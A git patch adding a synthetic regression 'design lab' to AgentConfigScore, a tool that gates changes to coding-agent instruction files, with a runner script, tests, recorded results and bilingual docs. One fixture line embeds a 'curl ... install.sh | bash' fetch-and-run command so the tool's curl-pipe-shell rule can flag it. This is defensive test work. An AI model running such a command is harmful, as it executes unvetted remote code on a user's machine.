From 9725ac38c5c247fef870c3f9b23a3cd2e97568fe Mon Sep 17 00:00:00 2001 From: Zhibo Lin <147509942+LE0-Lin@users.noreply.github.com> Date: Mon, 2 Nov 2026 23:59:41 +0800 Subject: [PATCH] docs: add a runnable baseline-gate design lab --- CHANGELOG.md | 2 + docs/README.md | 1 + docs/simplified/user-guide.md | 2 + docs/traditional/user-guide.md | 2 + docs/translations.md | 7 + docs/user-guide.md | 5 + examples/README.md | 5 + examples/regression-lab/README.md | 88 +++++++ examples/regression-lab/observed.json | 346 ++++++++++++++++++++++++++ scripts/run_regression_lab.py | 145 +++++++++++ tests/test_regression_lab.py | 115 +++++++++ 11 files changed, 718 insertions(+) create mode 100644 examples/regression-lab/README.md create mode 100644 examples/regression-lab/observed.json create mode 100644 scripts/run_regression_lab.py create mode 100644 tests/test_regression_lab.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 241e4ab..750c495 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,8 @@ ### Added +- An offline runnable design lab with five synthetic before/after scenarios and two passing controls, comparing baseline new-error gating, score-delta-only gating and explicit candidate-threshold caller overrides through the real CLI. Retains observed decisions, commands and source/scenario hashes without claiming independent accuracy, AI superiority or user adoption. Runtime rules, scores, package artifacts and Action refs are unchanged. + - An explicitly manual, read-only GitHub Actions replay of the existing pinned real-repository smoke corpus. The same runner propagates acquisition/mismatch failures and retains logs/results for seven days; it does not execute external repository code, run on every PR or establish independent accuracy/adoption. ### Fixed diff --git a/docs/README.md b/docs/README.md index adec309..ed42f88 100644 --- a/docs/README.md +++ b/docs/README.md @@ -23,6 +23,7 @@ read the result, and troubleshoot a failing gate. - [Score contract and limitations](limitations.md) - [Regression input consistency and file-removal checks](regression-coverage.md) +- [Runnable design lab: scores, baseline gates and caller overrides](../examples/regression-lab/README.md) (synthetic development example) - [Path-reference grammar and limits](limitations.md#plain-prose-path-references) - [Instruction context and prohibition scopes](instruction-context.md) - [False success-reporting checks](verification-reporting.md) diff --git a/docs/simplified/user-guide.md b/docs/simplified/user-guide.md index e09741f..ebb74eb 100644 --- a/docs/simplified/user-guide.md +++ b/docs/simplified/user-guide.md @@ -4,6 +4,8 @@ AgentConfigScore 是本地、确定性的编程助手指令检查器和 PR 回归门禁。它不调用 AI 服务,也不执行指令文件中的命令。100 分不代表指令有用、始终安全或比 AI 审查更好。 +[可运行的设计演示(英文)](../../examples/regression-lab/README.md) 展示了仅看分数变化与采用基线新错误门禁的区别。正常通过的对照及显式调用方覆盖都是合成开发示例,不是真实用户案例或 AI 对照评测;演示脚本需要源码仓库。 + ## 1. 安装并确认版本 需要 Python 3.10+。`diff` 需要 Git;普通目录扫描和两个目录间的 `compare` 不需要 Git。 diff --git a/docs/traditional/user-guide.md b/docs/traditional/user-guide.md index 48610e1..b850a3a 100644 --- a/docs/traditional/user-guide.md +++ b/docs/traditional/user-guide.md @@ -4,6 +4,8 @@ AgentConfigScore 是在本機執行、結果確定的開發助手指令檢查工具與 PR 回歸檢查。它不呼叫 AI 服務,也不執行指令檔內的命令。100 分不代表指令實用、始終安全或優於 AI 審查。 +[可執行的設計示範(英文)](../../examples/regression-lab/README.md) 展示僅看分數變化與採用基準新錯誤檢查的差異。正常通過的對照及明確呼叫端覆寫都是合成開發範例,不是真實使用者案例或 AI 對照評測;示範腳本需要原始碼儲存庫。 + ## 1. 安裝並確認版本 需要 Python 3.10+。`diff` 需要 Git;一般目錄掃描和兩個目錄之間的 `compare` 不需要 Git。 diff --git a/docs/translations.md b/docs/translations.md index c03958f..587a7cc 100644 --- a/docs/translations.md +++ b/docs/translations.md @@ -145,6 +145,13 @@ explicit; workflow-only setup and unscored guardrails remain separate. This is unreleased behavior, not a v0.24.0, Action-ref, scoring or frozen-evidence update. Executable guide examples are unchanged. +On 2026-11-02, built on `4f928864f9d418887043908094a0083f1180f657`, both core +guides gained the same link to the English runnable regression design lab. Its +five synthetic development scenarios compare explicit gate settings, not AI +accuracy, real users or agent behavior. The source-checkout requirement and +evidence boundary are synchronized; executable guide examples, runtime behavior, +published artifacts, Action refs and frozen research are unchanged. + When an English source page changes, review both variants together and record the new source revision here. Preserve executable examples, rule IDs and JSON keys verbatim. Keep the score limitations and failure/exit semantics aligned; diff --git a/docs/user-guide.md b/docs/user-guide.md index 61455fa..cb8ad0a 100644 --- a/docs/user-guide.md +++ b/docs/user-guide.md @@ -7,6 +7,11 @@ gate for coding-agent instructions. It does not call an AI service or execute commands found in instruction files. A 100 means no active rule matched, not that instructions are useful, safe in every context, or better than AI review. +The [runnable design lab](../examples/regression-lab/README.md) shows why a numeric +score delta alone differs from baseline-governed new-error gating. Its passing +controls and explicit caller overrides are synthetic development demonstrations, +not user cases or an AI comparison. The runner requires a source checkout. + ## 1. Install and check the version Python 3.10 or later is required. Git is required for `diff`, but not for a diff --git a/examples/README.md b/examples/README.md index fbca269..3015e70 100644 --- a/examples/README.md +++ b/examples/README.md @@ -1,5 +1,10 @@ # Copy-ready instruction examples +For a runnable explanation of the regression gate rather than an instruction +template, see the [design lab](regression-lab/README.md). It compares five known +synthetic before/after scenarios under three explicitly defined gate settings; +it is not independent accuracy or adoption evidence. + These templates provide conservative repository workflow, verification, safety, and handoff guidance without assuming a programming language or package manager. Copy one into the matching path in your repository, then adapt it to your real diff --git a/examples/regression-lab/README.md b/examples/regression-lab/README.md new file mode 100644 index 0000000..b1cb92e --- /dev/null +++ b/examples/regression-lab/README.md @@ -0,0 +1,88 @@ +# Regression design lab + +This runnable example explains two design choices: checking changes rather than +only numeric scores, and letting the reviewed baseline govern PR thresholds. +It uses **five synthetic, project-authored development scenarios**, not real-user +cases, an independent holdout or an AI comparison. No agent is run. + +## Run from a source checkout + +With Python 3.10+ and this repository available: + +```bash +python -m pip install -e . +python scripts/run_regression_lab.py +``` + +No model API, network call or external repository is needed during the run. The +runner creates temporary before/after trees and invokes the real module CLI in +15 subprocesses. Commands inside fixture text are never executed. Source/runtime +identity must match across the runner and subprocesses. The script is a checkout +example, not a new installed subcommand or a feature published in v0.24.0. + +To retain results, choose a **new** output filename: + +```bash +python scripts/run_regression_lab.py --output .agent-config-score/design-lab-01.json +python scripts/run_regression_lab.py --json +``` + +Existing output files and file aliases are not overwritten. A failed save may +leave a new partial output; inspect before retrying. Exit `0` means the known +development expectations matched, `1` means a mismatch, and `2` means an +operational failure. These are lab exits, not estimates of detection accuracy. + +## What the three columns mean + +- **Baseline gate**: normal `compare`, with `max_drop: 0` and + `fail_on_new_errors: true` in the baseline config. +- **Score-only**: the same comparison with `--no-fail-on-new-errors`. It still + rejects a numeric score decrease. Findings remain visible; only error-based + gating is disabled. +- **Candidate-threshold override**: intentionally pass the candidate's threshold + values as trusted CLI overrides. This illustrates a caller trusting PR-authored + thresholds. The normal tool never chooses them on its own. It is not a separate + product, historical tool version or comparison of suppression policies. + +## Retained observations + +The [machine-readable run](observed.json) retained on 2026-11-02 records declared +tool version, tool-source fingerprint, normalized runner-source hash, scenario +hash, portable commands, actual exit codes and observed new error IDs. It uses +the runtime implementation at source revision +`4f928864f9d418887043908094a0083f1180f657`, with tool-source fingerprint +`bca1d4976d359c2f6e37a7068c077691461d8fc117d3df6a6ab3fdb5a10f82ef`. +The lab files themselves were added afterward in this development change. +Hashes bind recorded inputs/implementations; they do not authenticate execution +or certify evidence independence. Later reruns must retain their actual identity, +not relabel this observation as a newer tool. + +| Synthetic scenario | Base -> head | Baseline gate | Score-only | Candidate-threshold override | +|---|---:|---|---|---| +| Unchanged instructions | 100 -> 100 | pass | pass | pass | +| Root instructions moved into a subtree | 100 -> 100 | block | pass | block | +| Exact directive reversed | 100 -> 100 | block | pass | block | +| Same-directory exact-text rename | 100 -> 100 | pass | pass | pass | +| Candidate weakens thresholds and adds a known risky command | 100 -> 82 | block | block | pass | + +The scope-move row observes `instruction-file-removed`; the reversal row observes +`directive-polarity-flip`. Both show why a score delta alone can miss a declared +regression signal. The last row keeps `curl-pipe-shell` visible in every mode; +the intentionally weakened caller accepts it by changing its threshold decision. +The two passing controls show that this demonstration is not an always-block gate. + +## What it does not establish + +The scenarios were chosen because the implementation already supports them. +Five matching examples do not estimate real-world precision/recall, time saved, +agent behavior or user adoption. No AI baseline, independent human labels, +latency/cost comparison or counterfactual historical experiment was run. + +File-removal and exact-polarity rules remain bounded heuristics. A same-directory +rename is an existing exact-text exception, not proof that different agents or +file formats have equivalent applicability. A legitimate scope migration can +need review or an expiring baseline-approved exception. A 100/100 passing result +can still contain harmful semantics outside the rule grammar. The candidate +override is deliberately weaker; an AI reviewer given both trees and policies +could also identify these examples. See [regression coverage](../../docs/regression-coverage.md) +and [limitations](../../docs/limitations.md). diff --git a/examples/regression-lab/observed.json b/examples/regression-lab/observed.json new file mode 100644 index 0000000..db75a32 --- /dev/null +++ b/examples/regression-lab/observed.json @@ -0,0 +1,346 @@ +{ + "schema_version": 1, + "evidence_tier": "synthetic_development_demo", + "independent_accuracy_estimate": null, + "ai_comparison_run": false, + "user_adoption_established": false, + "tool": { + "name": "AgentConfigScore", + "version": "0.24.0", + "source_fingerprint": { + "format": "acs-python-source-v1", + "sha256": "bca1d4976d359c2f6e37a7068c077691461d8fc117d3df6a6ab3fdb5a10f82ef", + "files": [ + "__init__.py", + "__main__.py", + "cli.py", + "config.py", + "doctor.py", + "entrypoint.py", + "feedback.py", + "gitdiff.py", + "guardrails.py", + "history.py", + "initializer.py", + "provenance.py", + "regression.py", + "rules.py", + "sarif.py", + "scanner.py" + ] + } + }, + "scenario_sha256": "31e1387c13200afcaa3ae3fc463bf6f452571f2f072450f136bedd9eefc2745e", + "runner_sha256": "723f9e8fd02385fc4c0b496ca11bdea123515f9aa2c22a4d1f8b04d4ba433ee3", + "all_expectations_matched": true, + "scenarios": [ + { + "id": "unchanged", + "observations": { + "baseline_gate": { + "exit_code": 0, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json" + ] + }, + "score_only": { + "exit_code": 0, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json", + "--no-fail-on-new-errors" + ] + }, + "candidate_threshold_override": { + "exit_code": 0, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json", + "--max-drop", + "0", + "--fail-on-new-errors" + ] + } + }, + "matches_development_expectation": true + }, + { + "id": "root_moved_into_subtree", + "observations": { + "baseline_gate": { + "exit_code": 1, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [ + "instruction-file-removed" + ], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json" + ] + }, + "score_only": { + "exit_code": 0, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [ + "instruction-file-removed" + ], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json", + "--no-fail-on-new-errors" + ] + }, + "candidate_threshold_override": { + "exit_code": 1, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [ + "instruction-file-removed" + ], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json", + "--max-drop", + "0", + "--fail-on-new-errors" + ] + } + }, + "matches_development_expectation": true + }, + { + "id": "exact_directive_reversed", + "observations": { + "baseline_gate": { + "exit_code": 1, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [ + "directive-polarity-flip" + ], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json" + ] + }, + "score_only": { + "exit_code": 0, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [ + "directive-polarity-flip" + ], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json", + "--no-fail-on-new-errors" + ] + }, + "candidate_threshold_override": { + "exit_code": 1, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [ + "directive-polarity-flip" + ], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json", + "--max-drop", + "0", + "--fail-on-new-errors" + ] + } + }, + "matches_development_expectation": true + }, + { + "id": "same_directory_exact_rename", + "observations": { + "baseline_gate": { + "exit_code": 0, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json" + ] + }, + "score_only": { + "exit_code": 0, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json", + "--no-fail-on-new-errors" + ] + }, + "candidate_threshold_override": { + "exit_code": 0, + "base_score": 100, + "head_score": 100, + "delta": 0, + "new_errors": [], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json", + "--max-drop", + "0", + "--fail-on-new-errors" + ] + } + }, + "matches_development_expectation": true + }, + { + "id": "candidate_weakens_thresholds", + "observations": { + "baseline_gate": { + "exit_code": 1, + "base_score": 100, + "head_score": 82, + "delta": -18, + "new_errors": [ + "curl-pipe-shell" + ], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json" + ] + }, + "score_only": { + "exit_code": 1, + "base_score": 100, + "head_score": 82, + "delta": -18, + "new_errors": [ + "curl-pipe-shell" + ], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json", + "--no-fail-on-new-errors" + ] + }, + "candidate_threshold_override": { + "exit_code": 0, + "base_score": 100, + "head_score": 82, + "delta": -18, + "new_errors": [ + "curl-pipe-shell" + ], + "command": [ + "python", + "-m", + "agent_config_score", + "compare", + "", + "", + "--json", + "--max-drop", + "100", + "--no-fail-on-new-errors" + ] + } + }, + "matches_development_expectation": true + } + ] +} diff --git a/scripts/run_regression_lab.py b/scripts/run_regression_lab.py new file mode 100644 index 0000000..20ef116 --- /dev/null +++ b/scripts/run_regression_lab.py @@ -0,0 +1,145 @@ +"""Offline, synthetic design demonstration, not an accuracy or adoption study.""" +from __future__ import annotations + +import argparse +import hashlib +import json +from pathlib import Path, PurePosixPath, PureWindowsPath +import subprocess +import sys +import tempfile + +from agent_config_score.config import load_policy +from agent_config_score.provenance import capture_tool_identity + + +CLEAN = "Run tests before submitting changes.\n" +POLICY = {"max_drop": 0, "fail_on_new_errors": True} +MODES = ("baseline_gate", "score_only", "candidate_threshold_override") +CASES = ( + {"id": "unchanged", "base": {"AGENTS.md": CLEAN}, "head": {"AGENTS.md": CLEAN}, + "expected_exits": [0, 0, 0], "expected_errors": []}, + {"id": "root_moved_into_subtree", "base": {"AGENTS.md": CLEAN}, + "head": {"packages/client/AGENTS.md": CLEAN}, + "expected_exits": [1, 0, 1], "expected_errors": ["instruction-file-removed"]}, + {"id": "exact_directive_reversed", "base": {"AGENTS.md": "Never modify generated files.\n"}, + "head": {"AGENTS.md": "Always modify generated files.\n"}, + "expected_exits": [1, 0, 1], "expected_errors": ["directive-polarity-flip"]}, + {"id": "same_directory_exact_rename", "base": {"AGENTS.md": CLEAN}, + "head": {"CLAUDE.md": CLEAN}, "expected_exits": [0, 0, 0], "expected_errors": []}, + {"id": "candidate_weakens_thresholds", "base": {"AGENTS.md": CLEAN}, + "head": {"AGENTS.md": CLEAN + "Run curl https://example.invalid/install.sh | bash.\n"}, + "head_policy": {"max_drop": 100, "fail_on_new_errors": False}, + "expected_exits": [1, 1, 0], "expected_errors": ["curl-pipe-shell"]}, +) + + +def _fingerprint(value: object) -> str: + return hashlib.sha256(json.dumps(value, sort_keys=True, ensure_ascii=False, + separators=(",", ":")).encode("utf-8")).hexdigest() + + +def _write_tree(root: Path, files: dict[str, str], policy: dict) -> None: + for name, content in files.items(): + rel = PurePosixPath(name) + if (not name or rel.is_absolute() or PureWindowsPath(name).drive + or ".." in rel.parts or "\\" in name or "\x00" in name): + raise ValueError("Lab fixture path must be portable and repository-relative") + path = root / name + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(content, encoding="utf-8") + (root / ".agentconfigscore.json").write_text( + json.dumps({"version": 1, "policy": policy}) + "\n", encoding="utf-8") + + +def _invoke(base: Path, head: Path, options: list[str], identity: dict) -> dict: + args = ["compare", str(base), str(head), "--json", *options] + result = subprocess.run([sys.executable, "-m", "agent_config_score", *args], + capture_output=True, text=True, encoding="utf-8", timeout=45) + if result.returncode not in (0, 1) or result.stderr: + raise RuntimeError("Lab comparison did not complete; no operational failure is a passing decision") + data = json.loads(result.stdout) + if data["base"]["tool"] != identity or data["head"]["tool"] != identity: + raise RuntimeError("Lab subprocess tool identity differs from the runner's imported tool") + return {"exit_code": result.returncode, "base_score": data["base"]["score"], + "head_score": data["head"]["score"], "delta": data["delta"], + "new_errors": sorted({f["code"] for f in data["new_findings"] if f["severity"] == "error"}), + "command": ["python", "-m", "agent_config_score", "compare", "", "", "--json", *options]} + + +def evaluate() -> dict: + identity = capture_tool_identity().to_dict() + if identity["source_fingerprint"]["sha256"] is None: + raise RuntimeError("Lab requires a readable tool source identity") + rows = [] + with tempfile.TemporaryDirectory(prefix="acs-regression-lab-") as directory: + for case in CASES: + parent = Path(directory) / case["id"] + base, head = parent / "base", parent / "head" + base.mkdir(parents=True) + head.mkdir() + _write_tree(base, case["base"], POLICY) + _write_tree(head, case["head"], case.get("head_policy", POLICY)) + candidate = load_policy(head) + # Deliberately use trusted CLI overrides to illustrate a bad caller + # trusting PR thresholds. The tool never selects these on its own. + options = ([], ["--no-fail-on-new-errors"], + ["--max-drop", str(candidate.max_drop), + "--fail-on-new-errors" if candidate.fail_on_new_errors else "--no-fail-on-new-errors"]) + observations = {mode: _invoke(base, head, flags, identity) for mode, flags in zip(MODES, options)} + matched = all(observations[mode]["exit_code"] == expected + and observations[mode]["new_errors"] == case["expected_errors"] + for mode, expected in zip(MODES, case["expected_exits"])) + rows.append({"id": case["id"], "observations": observations, + "matches_development_expectation": matched}) + source = Path(__file__).read_text(encoding="utf-8").replace("\r\n", "\n").replace("\r", "\n") + return {"schema_version": 1, "evidence_tier": "synthetic_development_demo", + "independent_accuracy_estimate": None, "ai_comparison_run": False, + "user_adoption_established": False, "tool": identity, + "scenario_sha256": _fingerprint({"policy": POLICY, "cases": CASES, "modes": MODES}), + "runner_sha256": hashlib.sha256(source.encode("utf-8")).hexdigest(), + "all_expectations_matched": all(row["matches_development_expectation"] for row in rows), + "scenarios": rows} + + +def render(result: dict) -> str: + lines = ["# Regression design lab", "", + "Synthetic development demonstration, not independent accuracy, AI comparison or user adoption.", "", + "| Scenario | Base -> head | Baseline gate | Score-only | Candidate-threshold override | New error IDs |", + "|---|---:|---|---|---|---|"] + for row in result["scenarios"]: + observations = row["observations"] + baseline = observations["baseline_gate"] + decisions = ["block" if observations[mode]["exit_code"] == 1 else "pass" for mode in MODES] + errors = ", ".join(baseline["new_errors"]) or "none" + lines.append(f"| {row['id']} | {baseline['base_score']} -> {baseline['head_score']} | " + + " | ".join(decisions) + f" | {errors} |") + lines.extend(["", "Score-only disables new-error gating, not finding detection. Candidate-threshold override is an intentionally weakened caller, not the default tool behavior.", + "Positive controls are not safety certificates; exact same-directory renames do not prove agent-consumer equivalence.", + "No agent or fixture commands were executed. No network access, AI call, maintainer contact or timing/cost comparison was performed.", ""]) + return "\n".join(lines) + + +def main(argv: list[str] | None = None) -> int: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--json", action="store_true", help="Print the complete observed results") + parser.add_argument("--output", type=Path, help="Save JSON to a new file; never overwrite evidence") + args = parser.parse_args(argv) + try: + if args.output is not None and (args.output.exists() or args.output.is_symlink()): + raise ValueError("Output already exists; select a new path") + result = evaluate() + text = json.dumps(result, indent=2, ensure_ascii=False, allow_nan=False) + "\n" + if args.output is not None: + args.output.parent.mkdir(parents=True, exist_ok=True) + with args.output.open("x", encoding="utf-8") as handle: + handle.write(text) + print(text if args.json else render(result), end="") + return 0 if result["all_expectations_matched"] else 1 + except (OSError, ValueError, RuntimeError, subprocess.TimeoutExpired): + print("error: lab could not complete or save a new report; inspect setup/output before retrying", file=sys.stderr) + return 2 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests/test_regression_lab.py b/tests/test_regression_lab.py new file mode 100644 index 0000000..7082bf9 --- /dev/null +++ b/tests/test_regression_lab.py @@ -0,0 +1,115 @@ +import contextlib +import importlib.util +import io +import json +from pathlib import Path +import subprocess +import tempfile +import unittest +from unittest.mock import patch + + +ROOT = Path(__file__).resolve().parents[1] +SPEC = importlib.util.spec_from_file_location("regression_lab", ROOT / "scripts" / "run_regression_lab.py") +LAB = importlib.util.module_from_spec(SPEC) +SPEC.loader.exec_module(LAB) + + +class RegressionLabTests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.result = LAB.evaluate() + cls.rows = {row["id"]: row["observations"] for row in cls.result["scenarios"]} + + def test_labeled_development_expectations_and_evidence_limits(self): + self.assertTrue(self.result["all_expectations_matched"]) + self.assertEqual(len(self.rows), 5) + self.assertEqual(self.result["evidence_tier"], "synthetic_development_demo") + self.assertIsNone(self.result["independent_accuracy_estimate"]) + self.assertFalse(self.result["ai_comparison_run"]) + self.assertFalse(self.result["user_adoption_established"]) + for key in ("scenario_sha256", "runner_sha256"): + self.assertRegex(self.result[key], r"^[a-f0-9]{64}$") + + def test_equal_scores_can_still_block_a_removal_or_reversal(self): + for name in ("root_moved_into_subtree", "exact_directive_reversed"): + with self.subTest(name=name): + row = self.rows[name] + self.assertEqual((row["baseline_gate"]["base_score"], row["baseline_gate"]["head_score"]), (100, 100)) + self.assertEqual(row["baseline_gate"]["exit_code"], 1) + self.assertEqual(row["score_only"]["exit_code"], 0) + self.assertEqual(row["baseline_gate"]["new_errors"], row["score_only"]["new_errors"]) + + def test_candidate_override_is_explicit_not_default_behavior(self): + row = self.rows["candidate_weakens_thresholds"] + self.assertEqual(row["baseline_gate"]["exit_code"], 1) + self.assertEqual(row["candidate_threshold_override"]["exit_code"], 0) + self.assertIn("--max-drop", row["candidate_threshold_override"]["command"]) + self.assertNotIn("--max-drop", row["baseline_gate"]["command"]) + + def test_positive_controls_pass_in_every_mode(self): + for name in ("unchanged", "same_directory_exact_rename"): + self.assertEqual([self.rows[name][mode]["exit_code"] for mode in LAB.MODES], [0, 0, 0]) + + def test_no_temp_paths_or_fixture_text_are_exposed_in_results(self): + serialized = json.dumps(self.result) + self.assertNotIn("acs-regression-lab-", serialized) + self.assertNotIn("https://example.invalid", serialized) + self.assertIn("", serialized) + + def test_unsafe_fixture_paths_are_rejected(self): + with tempfile.TemporaryDirectory() as directory: + for name in ("../escape", "/outside", "C:/outside", "..\\outside"): + with self.subTest(name=name), self.assertRaises(ValueError): + LAB._write_tree(Path(directory), {name: "test"}, LAB.POLICY) + + def test_operational_failure_is_not_a_passing_observation(self): + failure = subprocess.CompletedProcess([], 2, "", "private-operational-detail") + with patch.object(LAB.subprocess, "run", return_value=failure): + with self.assertRaises(RuntimeError): + LAB._invoke(Path("base"), Path("head"), [], {}) + + def test_subprocess_identity_mismatch_is_not_relabelled(self): + response = json.dumps({"base": {"tool": {"version": "different"}}, "head": {"tool": {}}}) + with patch.object(LAB.subprocess, "run", return_value=subprocess.CompletedProcess([], 0, response, "")): + with self.assertRaisesRegex(RuntimeError, "identity"): + LAB._invoke(Path("base"), Path("head"), [], {}) + + def test_retained_observations_replay_without_relabelling_tool_identity(self): + retained = json.loads((ROOT / "examples" / "regression-lab" / "observed.json").read_text(encoding="utf-8")) + self.assertEqual(retained["scenario_sha256"], self.result["scenario_sha256"]) + self.assertEqual(retained["scenarios"], self.result["scenarios"]) + self.assertEqual(retained["evidence_tier"], "synthetic_development_demo") + self.assertIsNone(retained["independent_accuracy_estimate"]) + self.assertRegex(retained["tool"]["source_fingerprint"]["sha256"], r"^[a-f0-9]{64}$") + + def test_existing_report_is_never_overwritten(self): + with tempfile.TemporaryDirectory() as directory: + path = Path(directory) / "report.json" + path.write_bytes(b"preserved evidence") + with patch.object(LAB, "evaluate") as evaluate, contextlib.redirect_stderr(io.StringIO()): + self.assertEqual(LAB.main(["--output", str(path)]), 2) + evaluate.assert_not_called() + self.assertEqual(path.read_bytes(), b"preserved evidence") + + def test_report_roundtrip_and_mismatch_exit(self): + with tempfile.TemporaryDirectory() as directory: + path = Path(directory) / "report.json" + stdout = io.StringIO() + with patch.object(LAB, "evaluate", return_value=self.result), contextlib.redirect_stdout(stdout): + self.assertEqual(LAB.main(["--output", str(path), "--json"]), 0) + self.assertEqual(json.loads(path.read_text(encoding="utf-8")), self.result) + self.assertEqual(json.loads(stdout.getvalue()), self.result) + with patch.object(LAB, "evaluate", return_value={**self.result, "all_expectations_matched": False}), \ + contextlib.redirect_stdout(io.StringIO()): + self.assertEqual(LAB.main([]), 1) + + def test_render_preserves_interpretation_boundaries(self): + text = LAB.render(self.result) + self.assertIn("not independent accuracy", text) + self.assertIn("intentionally weakened caller", text) + self.assertIn("Positive controls are not safety certificates", text) + + +if __name__ == "__main__": + unittest.main()